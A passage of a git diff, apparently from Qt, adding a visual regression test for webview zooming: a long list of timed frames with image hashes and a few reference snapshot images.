+ hash: "f2284dea5812f167cae08c687fc1a3e9"
+ }
+ Frame {
+ msec: 1296
+ hash: "deec54bc32c46921e5032bce7daa1dad"
+ }
+ Frame {
+ msec: 1312
+ hash: "1271d3704de17bfe463c76fd73c3132b"
+ }
+ Frame {
+ msec: 1328
+ hash: "0568b0ecd47cd1c34b9de477e68e5751"
+ }
+ Frame {
+ msec: 1344
+ hash: "f070dd88e42697a9e43573f9f41b3540"
+ }
+ Frame {
+ msec: 1360
+ hash: "f5ced2827b06ea514f05866f1e4099f0"
+ }
+ Frame {
+ msec: 1376
+ hash: "59f5585ec472efa29c5eba8b972ab3bd"
+ }
+ Frame {
+ msec: 1392
+ hash: "2ff4feb61d958a800b38b282c3400293"
+ }
+ Frame {
+ msec: 1408
+ hash: "53cb2ed2b65e77cf0cd70530f32854ad"
+ }
+ Frame {
+ msec: 1424
+ hash: "d135f70f761add1358062a0386c62d18"
+ }
+ Frame {
+ msec: 1440
+ hash: "e1c70c3896d5a937296f205b09991b31"
+ }
+ Frame {
+ msec: 1456
+ hash: "c54f220cd5768afa1c12579007e17eff"
+ }
+ Frame {
+ msec: 1472
+ hash: "f5dc87abf36332c68fd4450a6236dcb4"
+ }
+ Frame {
+ msec: 1488
+ hash: "921880d300e56f9605923a13fcd8b967"
+ }
+ Frame {
+ msec: 1504
+ hash: "d0434f08a8097b97b76c1194317a38ba"
+ }
+ Frame {
+ msec: 1520
+ hash: "4f5804c3c3ee195470a462293307cfd5"
+ }
+ Frame {
+ msec: 1536
+ hash: "9f63ddbd927a4b08242f3410a9ed7283"
+ }
+ Frame {
+ msec: 1552
+ hash: "fca0034fb720e40198ede95a0ab0fadb"
+ }
+ Frame {
+ msec: 1568
+ hash: "9b85eef4e0746cc43aaefd442efdd824"
+ }
+ Frame {
+ msec: 1584
+ hash: "19d5f48f1c73d52483be96c887d3fd76"
+ }
+ Frame {
+ msec: 1600
+ hash: "3aa9bd1bd75219f82578689ac6d81c7e"
+ }
+ Frame {
+ msec: 1616
+ hash: "4f999826cd5ebe4f58bfd255e1c22be0"
+ }
+ Frame {
+ msec: 1632
+ hash: "3aa9bd1bd75219f82578689ac6d81c7e"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png
new file mode 100644
index 00000000..7e989c62
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png
new file mode 100644
index 00000000..60ccc0b5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png
new file mode 100644
index 00000000..6c22494b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png
new file mode 100644
index 00000000..71dd56fe
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png
new file mode 100644
index 00000000..ce03cb68
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml
new file mode 100644
index 00000000..edf80401
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml
@@ -0,0 +1,1319 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "ac1d9c1cc13813b5e94c692a209a4e36"
+ }
+ Frame {
+ msec: 32
+ hash: "1f189a436cf74ae83a03c3bb63c24ec2"
+ }
+ Frame {
+ msec: 48
+ hash: "369f761053d5910e00672aa866f698ba"
+ }
+ Frame {
+ msec: 64
+ hash: "30a191ae899121ae22d10acee6593415"
+ }
+ Frame {
+ msec: 80
+ hash: "7af041898748bb5950643b057ca59eea"
+ }
+ Frame {
+ msec: 96
+ hash: "e0a2ed91e78ff9a994deb9649a8afc16"
+ }
+ Frame {
+ msec: 112
+ hash: "649ad1a3fb57fb088e4e5cfd749bf2e5"
+ }
+ Frame {
+ msec: 128
+ hash: "9053a92e343ebb79bd2831f5ab94a1b5"
+ }
+ Frame {
+ msec: 144
+ hash: "dc78b09e27bbc0a2cfec83436eef4446"
+ }
+ Frame {
+ msec: 160
+ hash: "2aaa3749f93734dd203e1fea91a9f24a"
+ }
+ Frame {
+ msec: 176
+ hash: "8df8dd33eada434231332b81e03430ce"
+ }
+ Frame {
+ msec: 192
+ hash: "b5b1beb4dd4720eaa8b888fbef1ba875"
+ }
+ Frame {
+ msec: 208
+ hash: "e531d33ef14b58ad843a6be6d7cb0961"
+ }
+ Frame {
+ msec: 224
+ hash: "011c0bcca7717b08bc53738718203f7e"
+ }
+ Frame {
+ msec: 240
+ hash: "412a630348aa44d56f36f04982035e36"
+ }
+ Frame {
+ msec: 256
+ hash: "45528cdc62622b6d01e44466cd85bd38"
+ }
+ Frame {
+ msec: 272
+ hash: "0901c99f959d6c10a0b6ea46a282d8fd"
+ }
+ Frame {
+ msec: 288
+ hash: "3f200fca4815d555f22912d9fcdc20ee"
+ }
+ Frame {
+ msec: 304
+ hash: "5e3c58e2f3a57f4ea48f4315d37ed813"
+ }
+ Frame {
+ msec: 320
+ hash: "e8d98ec2d13ef4324feba11be95d0735"
+ }
+ Frame {
+ msec: 336
+ hash: "4f3b79b341b63499a20f1e1e2cd979f9"
+ }
+ Frame {
+ msec: 352
+ hash: "5ddbc3bc10292bec41531e83c0921c59"
+ }
+ Frame {
+ msec: 368
+ hash: "9bc9801e83267689cd2750226f2b08ce"
+ }
+ Frame {
+ msec: 384
+ hash: "f87195f2393914a0bbed9a454de01ff5"
+ }
+ Frame {
+ msec: 400
+ hash: "4e0fd7f45e53a8d44c416eb9235ec877"
+ }
+ Frame {
+ msec: 416
+ hash: "a579d6324fb4bf9ac5ceaba2aa708764"
+ }
+ Frame {
+ msec: 432
+ hash: "b9f3f08168fb55ba01e56e670db565de"
+ }
+ Frame {
+ msec: 448
+ hash: "cbd63ec868578e295a83170f42b23678"
+ }
+ Frame {
+ msec: 464
+ hash: "2ed9d0e09b61dee8b2703e580007d7a5"
+ }
+ Frame {
+ msec: 480
+ hash: "92fa2d9ef05140eb9d0fcf78b55f202e"
+ }
+ Frame {
+ msec: 496
+ hash: "9a3f9dc04a900020f0e488309d7b4757"
+ }
+ Frame {
+ msec: 512
+ hash: "93b4876c3e185ff4875a7447b0bf4f0f"
+ }
+ Frame {
+ msec: 528
+ hash: "41b40e36f77d04e62f72ad34aa50709a"
+ }
+ Frame {
+ msec: 544
+ hash: "2ea69aeb32fee61b61aa9c4efb2834bf"
+ }
+ Frame {
+ msec: 560
+ hash: "0971ac1e05ea2ba387c78d4d103f5ea1"
+ }
+ Frame {
+ msec: 576
+ hash: "98e46dff678f293fd6a4e9313ab3aec7"
+ }
+ Frame {
+ msec: 592
+ hash: "82b94393071d6c32dd8028e1ee69e7fb"
+ }
+ Frame {
+ msec: 608
+ hash: "240df67aa72a24546eb6e043e0d3d205"
+ }
+ Frame {
+ msec: 624
+ hash: "56c4113cc341c254ccab66f3bc313154"
+ }
+ Frame {
+ msec: 640
+ hash: "20d758c1537ed1a9aff657414b50926c"
+ }
+ Frame {
+ msec: 656
+ hash: "ae252d835a05e01c2a12ae820335049a"
+ }
+ Frame {
+ msec: 672
+ hash: "4d53256fbb012e738ba3868e2482250d"
+ }
+ Frame {
+ msec: 688
+ hash: "261a341cab38986fb2f53b8e430f04a3"
+ }
+ Frame {
+ msec: 704
+ hash: "1030f795d310f742ba491a2a90ff52d8"
+ }
+ Frame {
+ msec: 720
+ hash: "59d24ebfedd2a87bdbd755d06c4361d2"
+ }
+ Frame {
+ msec: 736
+ hash: "a6eaa480b3f93d33ae23bb36b7691b92"
+ }
+ Frame {
+ msec: 752
+ hash: "cb6cf1e6e89da3fcbad323f744aef18d"
+ }
+ Frame {
+ msec: 768
+ hash: "33a4f07cf7f5d16f006541c61ae2e4ee"
+ }
+ Frame {
+ msec: 784
+ hash: "6e857b106486ea0aaa5321d4a7a07eae"
+ }
+ Frame {
+ msec: 800
+ hash: "0f80edaf3eecf7a8c015d3fcecc0a494"
+ }
+ Frame {
+ msec: 816
+ hash: "24b45d00d70904694c30ebd422c739ce"
+ }
+ Frame {
+ msec: 832
+ hash: "c0ca66fefb19294852b9be0c4ba36481"
+ }
+ Frame {
+ msec: 848
+ hash: "047846d243e7613193a8ddd526c4268e"
+ }
+ Frame {
+ msec: 864
+ hash: "ca85f90e450ccda6b76e6a29a3187a63"
+ }
+ Frame {
+ msec: 880
+ hash: "fcd803f5640d054190c2ddc9a6406bb9"
+ }
+ Frame {
+ msec: 896
+ hash: "f81152b8a464bfa8343f52efcb0c8b8c"
+ }
+ Frame {
+ msec: 912
+ hash: "e86be73d83699584dca986dfdb030b36"
+ }
+ Frame {
+ msec: 928
+ hash: "d9798e4ebaf72c35b19a56b336d2ea93"
+ }
+ Frame {
+ msec: 944
+ hash: "460f13d8e05b529c0e4fba39b1449ff1"
+ }
+ Frame {
+ msec: 960
+ image: "resolution.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "8b2f13580c6de9ec231809330d2d0362"
+ }
+ Frame {
+ msec: 992
+ hash: "94a2cc520340573557e6a310f2ea125e"
+ }
+ Frame {
+ msec: 1008
+ hash: "a8df78ab2e800349ec887ea6b1f5dcb8"
+ }
+ Frame {
+ msec: 1024
+ hash: "0f3a56dbe26d453847ed4847c0e81d1a"
+ }
+ Frame {
+ msec: 1040
+ hash: "96c89325862a982235b4b75922ec4669"
+ }
+ Frame {
+ msec: 1056
+ hash: "ead6352a4ca47da59422e8d6a5844aa4"
+ }
+ Frame {
+ msec: 1072
+ hash: "b50a6b14f15882e2c1ae6e3babeecdf8"
+ }
+ Frame {
+ msec: 1088
+ hash: "2f32245c3388b86194e8183a290e99b8"
+ }
+ Frame {
+ msec: 1104
+ hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83"
+ }
+ Frame {
+ msec: 1120
+ hash: "495b25d87cb6d1d4bdea4d5ec62c698e"
+ }
+ Frame {
+ msec: 1136
+ hash: "3d45b061939783b6359fa4cdb908ecc0"
+ }
+ Frame {
+ msec: 1152
+ hash: "e9e601c2a65a09b6354fff2c162106d6"
+ }
+ Frame {
+ msec: 1168
+ hash: "8cfba8a724e85403b573caf7bbac9d83"
+ }
+ Frame {
+ msec: 1184
+ hash: "5910765354645b724e14681cbdea227e"
+ }
+ Frame {
+ msec: 1200
+ hash: "4358af7f2ccfc0919614351bfd5a7405"
+ }
+ Frame {
+ msec: 1216
+ hash: "032e064336b458a6de03fdc98684cc34"
+ }
+ Frame {
+ msec: 1232
+ hash: "c81d87bf83ee7e834a4b15dd103f7082"
+ }
+ Frame {
+ msec: 1248
+ hash: "9d4416b55ed3b9e45a2314e9be5a5f2d"
+ }
+ Frame {
+ msec: 1264
+ hash: "5b96da1a52a0413f9e8edbc9291a2502"
+ }
+ Frame {
+ msec: 1280
+ hash: "aaa4008281ebc60b15616c818816e195"
+ }
+ Frame {
+ msec: 1296
+ hash: "81ebf882aeb89648300dfc2e8e2cf11b"
+ }
+ Frame {
+ msec: 1312
+ hash: "4e686e6cee12902f92e0ece915386fb3"
+ }
+ Frame {
+ msec: 1328
+ hash: "6ff8d9bd6ec4dce414cdc7330646156e"
+ }
+ Frame {
+ msec: 1344
+ hash: "dac6334e8b221527ef74b4f93eeef7c3"
+ }
+ Frame {
+ msec: 1360
+ hash: "e58dbf419d1831e001e802600803aaa5"
+ }
+ Frame {
+ msec: 1376
+ hash: "e8685f9b12c9ccb9d0e471946f1f6f9c"
+ }
+ Frame {
+ msec: 1392
+ hash: "0936715ff8d38c2c813ebef0683a3246"
+ }
+ Frame {
+ msec: 1408
+ hash: "37ad0a5532af8b083a7d4c4b044075ca"
+ }
+ Frame {
+ msec: 1424
+ hash: "52ae25414d353d994cba36918644949a"
+ }
+ Frame {
+ msec: 1440
+ hash: "07719485f9a7d0012eb0f3f211f0f21b"
+ }
+ Frame {
+ msec: 1456
+ hash: "2d1a4f2c8d4a8d6316a31a81a2d20c61"
+ }
+ Frame {
+ msec: 1472
+ hash: "3b279fb9e7b3efe05becc1651ba59493"
+ }
+ Frame {
+ msec: 1488
+ hash: "4b9c126dcdf499f9de4e09d4f6ab86bf"
+ }
+ Frame {
+ msec: 1504
+ hash: "6a1b8d8ea46949cb65e8f4155ab94819"
+ }
+ Frame {
+ msec: 1520
+ hash: "6dbd2106b91ffbbb8a845e6cddbd47d7"
+ }
+ Frame {
+ msec: 1536
+ hash: "8244eda92302f2b5cff01f05d438bf20"
+ }
+ Frame {
+ msec: 1552
+ hash: "f939bd80ae865e365e554a532ade38f5"
+ }
+ Frame {
+ msec: 1568
+ hash: "92d135616eee6737333b3d86d0aa5956"
+ }
+ Frame {
+ msec: 1584
+ hash: "ca75854d6e5a77c8e609d65971b5671a"
+ }
+ Frame {
+ msec: 1600
+ hash: "b0a113800cd05768b57bac6b9a338b1d"
+ }
+ Frame {
+ msec: 1616
+ hash: "7af1a2aa6a201e36c3a969be4330af04"
+ }
+ Frame {
+ msec: 1632
+ hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc"
+ }
+ Frame {
+ msec: 1648
+ hash: "5d212c7efd9cf7d3eb5219b0bbe766d7"
+ }
+ Frame {
+ msec: 1664
+ hash: "f4f2c95380c0f76c9e89820cdbeb5b31"
+ }
+ Frame {
+ msec: 1680
+ hash: "b8eefbf5ade1a6b9eef9608f66a46474"
+ }
+ Frame {
+ msec: 1696
+ hash: "d699ace9babbb152aad2fa852114c099"
+ }
+ Frame {
+ msec: 1712
+ hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95"
+ }
+ Frame {
+ msec: 1728
+ hash: "08175810bfb80e1c5816b0d0aebbac4a"
+ }
+ Frame {
+ msec: 1744
+ hash: "86abce93f50e7e7ebbd90690cfb20dd2"
+ }
+ Frame {
+ msec: 1760
+ hash: "2918979f2682bd32beb5eaf7ecb3e463"
+ }
+ Frame {
+ msec: 1776
+ hash: "b165ab96b0d51d41578bf99cbf7f6d02"
+ }
+ Frame {
+ msec: 1792
+ hash: "d56cfdb2c65372cb36aeb13fd9c73deb"
+ }
+ Frame {
+ msec: 1808
+ hash: "c53f0e4dc8204e5892ed4f367a6bade3"
+ }
+ Frame {
+ msec: 1824
+ hash: "b3ae62e13149160f3695ed5c116411aa"
+ }
+ Frame {
+ msec: 1840
+ hash: "057e4a0428ea2ff9893becd40e6d2977"
+ }
+ Frame {
+ msec: 1856
+ hash: "10c050131093cc0d3f4b80c44eb1218b"
+ }
+ Frame {
+ msec: 1872
+ hash: "17ce5a6dace37f4eb316f37ea26a8a2c"
+ }
+ Frame {
+ msec: 1888
+ hash: "6e00c7e74bfaed5cf06aba54c8b73e57"
+ }
+ Frame {
+ msec: 1904
+ hash: "5a03b1b698ca28d2afd9c67aef3bc2e9"
+ }
+ Frame {
+ msec: 1920
+ image: "resolution.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "0fab102a33521e8893afdb6a11a3c5c9"
+ }
+ Frame {
+ msec: 1952
+ hash: "232e8f1b060ef55e37a372bec4435d11"
+ }
+ Frame {
+ msec: 1968
+ hash: "2107724eac0d1b8735060876f80d303a"
+ }
+ Frame {
+ msec: 1984
+ hash: "cf5d12d2707975ad364750d5ba787944"
+ }
+ Frame {
+ msec: 2000
+ hash: "2457c88828c2cb39feb1d34556077139"
+ }
+ Frame {
+ msec: 2016
+ hash: "5f08d6dab8199b3f0f57d32cf2da4d67"
+ }
+ Frame {
+ msec: 2032
+ hash: "2457c88828c2cb39feb1d34556077139"
+ }
+ Frame {
+ msec: 2048
+ hash: "cf5d12d2707975ad364750d5ba787944"
+ }
+ Frame {
+ msec: 2064
+ hash: "2107724eac0d1b8735060876f80d303a"
+ }
+ Frame {
+ msec: 2080
+ hash: "232e8f1b060ef55e37a372bec4435d11"
+ }
+ Frame {
+ msec: 2096
+ hash: "0a93c515cd328978ebd8103539a2fd63"
+ }
+ Frame {
+ msec: 2112
+ hash: "63d6c7beac12e3bd83f9ef58c233c7d2"
+ }
+ Frame {
+ msec: 2128
+ hash: "5a03b1b698ca28d2afd9c67aef3bc2e9"
+ }
+ Frame {
+ msec: 2144
+ hash: "6e00c7e74bfaed5cf06aba54c8b73e57"
+ }
+ Frame {
+ msec: 2160
+ hash: "17ce5a6dace37f4eb316f37ea26a8a2c"
+ }
+ Frame {
+ msec: 2176
+ hash: "10c050131093cc0d3f4b80c44eb1218b"
+ }
+ Frame {
+ msec: 2192
+ hash: "057e4a0428ea2ff9893becd40e6d2977"
+ }
+ Frame {
+ msec: 2208
+ hash: "b3ae62e13149160f3695ed5c116411aa"
+ }
+ Frame {
+ msec: 2224
+ hash: "c53f0e4dc8204e5892ed4f367a6bade3"
+ }
+ Frame {
+ msec: 2240
+ hash: "d56cfdb2c65372cb36aeb13fd9c73deb"
+ }
+ Frame {
+ msec: 2256
+ hash: "b165ab96b0d51d41578bf99cbf7f6d02"
+ }
+ Frame {
+ msec: 2272
+ hash: "2918979f2682bd32beb5eaf7ecb3e463"
+ }
+ Frame {
+ msec: 2288
+ hash: "86abce93f50e7e7ebbd90690cfb20dd2"
+ }
+ Frame {
+ msec: 2304
+ hash: "08175810bfb80e1c5816b0d0aebbac4a"
+ }
+ Frame {
+ msec: 2320
+ hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95"
+ }
+ Frame {
+ msec: 2336
+ hash: "d699ace9babbb152aad2fa852114c099"
+ }
+ Frame {
+ msec: 2352
+ hash: "b8eefbf5ade1a6b9eef9608f66a46474"
+ }
+ Frame {
+ msec: 2368
+ hash: "f4f2c95380c0f76c9e89820cdbeb5b31"
+ }
+ Frame {
+ msec: 2384
+ hash: "5d212c7efd9cf7d3eb5219b0bbe766d7"
+ }
+ Frame {
+ msec: 2400
+ hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc"
+ }
+ Frame {
+ msec: 2416
+ hash: "d9408487f747ffb8eff5e1da92207285"
+ }
+ Frame {
+ msec: 2432
+ hash: "e6b3fa1829535ac90d1548f45aadb9be"
+ }
+ Frame {
+ msec: 2448
+ hash: "ca75854d6e5a77c8e609d65971b5671a"
+ }
+ Frame {
+ msec: 2464
+ hash: "92d135616eee6737333b3d86d0aa5956"
+ }
+ Frame {
+ msec: 2480
+ hash: "f939bd80ae865e365e554a532ade38f5"
+ }
+ Frame {
+ msec: 2496
+ hash: "8244eda92302f2b5cff01f05d438bf20"
+ }
+ Frame {
+ msec: 2512
+ hash: "6dbd2106b91ffbbb8a845e6cddbd47d7"
+ }
+ Frame {
+ msec: 2528
+ hash: "6a1b8d8ea46949cb65e8f4155ab94819"
+ }
+ Frame {
+ msec: 2544
+ hash: "4b9c126dcdf499f9de4e09d4f6ab86bf"
+ }
+ Frame {
+ msec: 2560
+ hash: "3b279fb9e7b3efe05becc1651ba59493"
+ }
+ Frame {
+ msec: 2576
+ hash: "bb40b884b56defb61ad86757fd51b9e6"
+ }
+ Frame {
+ msec: 2592
+ hash: "07719485f9a7d0012eb0f3f211f0f21b"
+ }
+ Frame {
+ msec: 2608
+ hash: "52ae25414d353d994cba36918644949a"
+ }
+ Frame {
+ msec: 2624
+ hash: "37ad0a5532af8b083a7d4c4b044075ca"
+ }
+ Frame {
+ msec: 2640
+ hash: "0936715ff8d38c2c813ebef0683a3246"
+ }
+ Frame {
+ msec: 2656
+ hash: "e8685f9b12c9ccb9d0e471946f1f6f9c"
+ }
+ Frame {
+ msec: 2672
+ hash: "e58dbf419d1831e001e802600803aaa5"
+ }
+ Frame {
+ msec: 2688
+ hash: "dac6334e8b221527ef74b4f93eeef7c3"
+ }
+ Frame {
+ msec: 2704
+ hash: "6ff8d9bd6ec4dce414cdc7330646156e"
+ }
+ Frame {
+ msec: 2720
+ hash: "4e686e6cee12902f92e0ece915386fb3"
+ }
+ Frame {
+ msec: 2736
+ hash: "81ebf882aeb89648300dfc2e8e2cf11b"
+ }
+ Frame {
+ msec: 2752
+ hash: "aaa4008281ebc60b15616c818816e195"
+ }
+ Frame {
+ msec: 2768
+ hash: "5b96da1a52a0413f9e8edbc9291a2502"
+ }
+ Frame {
+ msec: 2784
+ hash: "9d4416b55ed3b9e45a2314e9be5a5f2d"
+ }
+ Frame {
+ msec: 2800
+ hash: "c81d87bf83ee7e834a4b15dd103f7082"
+ }
+ Frame {
+ msec: 2816
+ hash: "9fdf30d57c49a6644377ba40140b1969"
+ }
+ Frame {
+ msec: 2832
+ hash: "4358af7f2ccfc0919614351bfd5a7405"
+ }
+ Frame {
+ msec: 2848
+ hash: "5910765354645b724e14681cbdea227e"
+ }
+ Frame {
+ msec: 2864
+ hash: "8cfba8a724e85403b573caf7bbac9d83"
+ }
+ Frame {
+ msec: 2880
+ image: "resolution.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "3d45b061939783b6359fa4cdb908ecc0"
+ }
+ Frame {
+ msec: 2912
+ hash: "495b25d87cb6d1d4bdea4d5ec62c698e"
+ }
+ Frame {
+ msec: 2928
+ hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83"
+ }
+ Frame {
+ msec: 2944
+ hash: "2f32245c3388b86194e8183a290e99b8"
+ }
+ Frame {
+ msec: 2960
+ hash: "b50a6b14f15882e2c1ae6e3babeecdf8"
+ }
+ Frame {
+ msec: 2976
+ hash: "ead6352a4ca47da59422e8d6a5844aa4"
+ }
+ Frame {
+ msec: 2992
+ hash: "96c89325862a982235b4b75922ec4669"
+ }
+ Frame {
+ msec: 3008
+ hash: "0f3a56dbe26d453847ed4847c0e81d1a"
+ }
+ Frame {
+ msec: 3024
+ hash: "a8df78ab2e800349ec887ea6b1f5dcb8"
+ }
+ Frame {
+ msec: 3040
+ hash: "94a2cc520340573557e6a310f2ea125e"
+ }
+ Frame {
+ msec: 3056
+ hash: "8b2f13580c6de9ec231809330d2d0362"
+ }
+ Frame {
+ msec: 3072
+ hash: "5f76ef4f6b8e703fd0822859cd9a1353"
+ }
+ Frame {
+ msec: 3088
+ hash: "460f13d8e05b529c0e4fba39b1449ff1"
+ }
+ Frame {
+ msec: 3104
+ hash: "d9798e4ebaf72c35b19a56b336d2ea93"
+ }
+ Frame {
+ msec: 3120
+ hash: "e86be73d83699584dca986dfdb030b36"
+ }
+ Frame {
+ msec: 3136
+ hash: "f81152b8a464bfa8343f52efcb0c8b8c"
+ }
+ Frame {
+ msec: 3152
+ hash: "fcd803f5640d054190c2ddc9a6406bb9"
+ }
+ Frame {
+ msec: 3168
+ hash: "ca85f90e450ccda6b76e6a29a3187a63"
+ }
+ Frame {
+ msec: 3184
+ hash: "047846d243e7613193a8ddd526c4268e"
+ }
+ Frame {
+ msec: 3200
+ hash: "c0ca66fefb19294852b9be0c4ba36481"
+ }
+ Frame {
+ msec: 3216
+ hash: "d4a075656790c4f2c50addcd2cc660b5"
+ }
+ Frame {
+ msec: 3232
+ hash: "0f80edaf3eecf7a8c015d3fcecc0a494"
+ }
+ Frame {
+ msec: 3248
+ hash: "6e857b106486ea0aaa5321d4a7a07eae"
+ }
+ Frame {
+ msec: 3264
+ hash: "33a4f07cf7f5d16f006541c61ae2e4ee"
+ }
+ Frame {
+ msec: 3280
+ hash: "cb6cf1e6e89da3fcbad323f744aef18d"
+ }
+ Frame {
+ msec: 3296
+ hash: "a6eaa480b3f93d33ae23bb36b7691b92"
+ }
+ Frame {
+ msec: 3312
+ hash: "59d24ebfedd2a87bdbd755d06c4361d2"
+ }
+ Frame {
+ msec: 3328
+ hash: "1030f795d310f742ba491a2a90ff52d8"
+ }
+ Frame {
+ msec: 3344
+ hash: "261a341cab38986fb2f53b8e430f04a3"
+ }
+ Frame {
+ msec: 3360
+ hash: "4d53256fbb012e738ba3868e2482250d"
+ }
+ Frame {
+ msec: 3376
+ hash: "ae252d835a05e01c2a12ae820335049a"
+ }
+ Frame {
+ msec: 3392
+ hash: "20d758c1537ed1a9aff657414b50926c"
+ }
+ Frame {
+ msec: 3408
+ hash: "56c4113cc341c254ccab66f3bc313154"
+ }
+ Frame {
+ msec: 3424
+ hash: "240df67aa72a24546eb6e043e0d3d205"
+ }
+ Frame {
+ msec: 3440
+ hash: "82b94393071d6c32dd8028e1ee69e7fb"
+ }
+ Frame {
+ msec: 3456
+ hash: "98e46dff678f293fd6a4e9313ab3aec7"
+ }
+ Frame {
+ msec: 3472
+ hash: "0971ac1e05ea2ba387c78d4d103f5ea1"
+ }
+ Frame {
+ msec: 3488
+ hash: "2ea69aeb32fee61b61aa9c4efb2834bf"
+ }
+ Frame {
+ msec: 3504
+ hash: "41b40e36f77d04e62f72ad34aa50709a"
+ }
+ Frame {
+ msec: 3520
+ hash: "93b4876c3e185ff4875a7447b0bf4f0f"
+ }
+ Frame {
+ msec: 3536
+ hash: "9a3f9dc04a900020f0e488309d7b4757"
+ }
+ Frame {
+ msec: 3552
+ hash: "92fa2d9ef05140eb9d0fcf78b55f202e"
+ }
+ Frame {
+ msec: 3568
+ hash: "2ed9d0e09b61dee8b2703e580007d7a5"
+ }
+ Frame {
+ msec: 3584
+ hash: "cbd63ec868578e295a83170f42b23678"
+ }
+ Frame {
+ msec: 3600
+ hash: "b9f3f08168fb55ba01e56e670db565de"
+ }
+ Frame {
+ msec: 3616
+ hash: "a579d6324fb4bf9ac5ceaba2aa708764"
+ }
+ Frame {
+ msec: 3632
+ hash: "4e0fd7f45e53a8d44c416eb9235ec877"
+ }
+ Frame {
+ msec: 3648
+ hash: "f87195f2393914a0bbed9a454de01ff5"
+ }
+ Frame {
+ msec: 3664
+ hash: "9bc9801e83267689cd2750226f2b08ce"
+ }
+ Frame {
+ msec: 3680
+ hash: "5ddbc3bc10292bec41531e83c0921c59"
+ }
+ Frame {
+ msec: 3696
+ hash: "4f3b79b341b63499a20f1e1e2cd979f9"
+ }
+ Frame {
+ msec: 3712
+ hash: "e8d98ec2d13ef4324feba11be95d0735"
+ }
+ Frame {
+ msec: 3728
+ hash: "5e3c58e2f3a57f4ea48f4315d37ed813"
+ }
+ Frame {
+ msec: 3744
+ hash: "3f200fca4815d555f22912d9fcdc20ee"
+ }
+ Frame {
+ msec: 3760
+ hash: "0901c99f959d6c10a0b6ea46a282d8fd"
+ }
+ Frame {
+ msec: 3776
+ hash: "a186b8e984c999e8609472a7a5fa0610"
+ }
+ Frame {
+ msec: 3792
+ hash: "412a630348aa44d56f36f04982035e36"
+ }
+ Frame {
+ msec: 3808
+ hash: "011c0bcca7717b08bc53738718203f7e"
+ }
+ Frame {
+ msec: 3824
+ hash: "e531d33ef14b58ad843a6be6d7cb0961"
+ }
+ Frame {
+ msec: 3840
+ image: "resolution.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "8df8dd33eada434231332b81e03430ce"
+ }
+ Frame {
+ msec: 3872
+ hash: "2aaa3749f93734dd203e1fea91a9f24a"
+ }
+ Frame {
+ msec: 3888
+ hash: "dc78b09e27bbc0a2cfec83436eef4446"
+ }
+ Frame {
+ msec: 3904
+ hash: "9053a92e343ebb79bd2831f5ab94a1b5"
+ }
+ Frame {
+ msec: 3920
+ hash: "649ad1a3fb57fb088e4e5cfd749bf2e5"
+ }
+ Frame {
+ msec: 3936
+ hash: "3579849956c1101000ef09949aa4c0f9"
+ }
+ Frame {
+ msec: 3952
+ hash: "7af041898748bb5950643b057ca59eea"
+ }
+ Frame {
+ msec: 3968
+ hash: "30a191ae899121ae22d10acee6593415"
+ }
+ Frame {
+ msec: 3984
+ hash: "369f761053d5910e00672aa866f698ba"
+ }
+ Frame {
+ msec: 4000
+ hash: "1f189a436cf74ae83a03c3bb63c24ec2"
+ }
+ Frame {
+ msec: 4016
+ hash: "ac1d9c1cc13813b5e94c692a209a4e36"
+ }
+ Frame {
+ msec: 4032
+ hash: "f0e0b5c041bcf38d8d9144d466ad74a9"
+ }
+ Frame {
+ msec: 4048
+ hash: "38a35c94ebcf33f6720fea33821a54e1"
+ }
+ Frame {
+ msec: 4064
+ hash: "061d139f43a3dd63daf887b82721f42f"
+ }
+ Frame {
+ msec: 4080
+ hash: "623747b5fe99e5ffaa62f4daa3f840ef"
+ }
+ Frame {
+ msec: 4096
+ hash: "4dd5081a387ffda296811b64b9235d7d"
+ }
+ Frame {
+ msec: 4112
+ hash: "1598cf2fe996f99ab4c15f84d89cd7bd"
+ }
+ Frame {
+ msec: 4128
+ hash: "30cac85bf1a622d438a64b6ccb59a8ca"
+ }
+ Frame {
+ msec: 4144
+ hash: "114e54ae3e1493750a022f1c019e7f77"
+ }
+ Frame {
+ msec: 4160
+ hash: "a585efc3aae3a426e6af5f4a8cc23b10"
+ }
+ Frame {
+ msec: 4176
+ hash: "c0f315549baad93dd885d58b185e7ed7"
+ }
+ Frame {
+ msec: 4192
+ hash: "3a00f5f034bef58ca341bf9e1056f46f"
+ }
+ Frame {
+ msec: 4208
+ hash: "b3022d07dee989499a35aea21e07e4c1"
+ }
+ Frame {
+ msec: 4224
+ hash: "e722464809e94fb7d8c752506f0d3ac2"
+ }
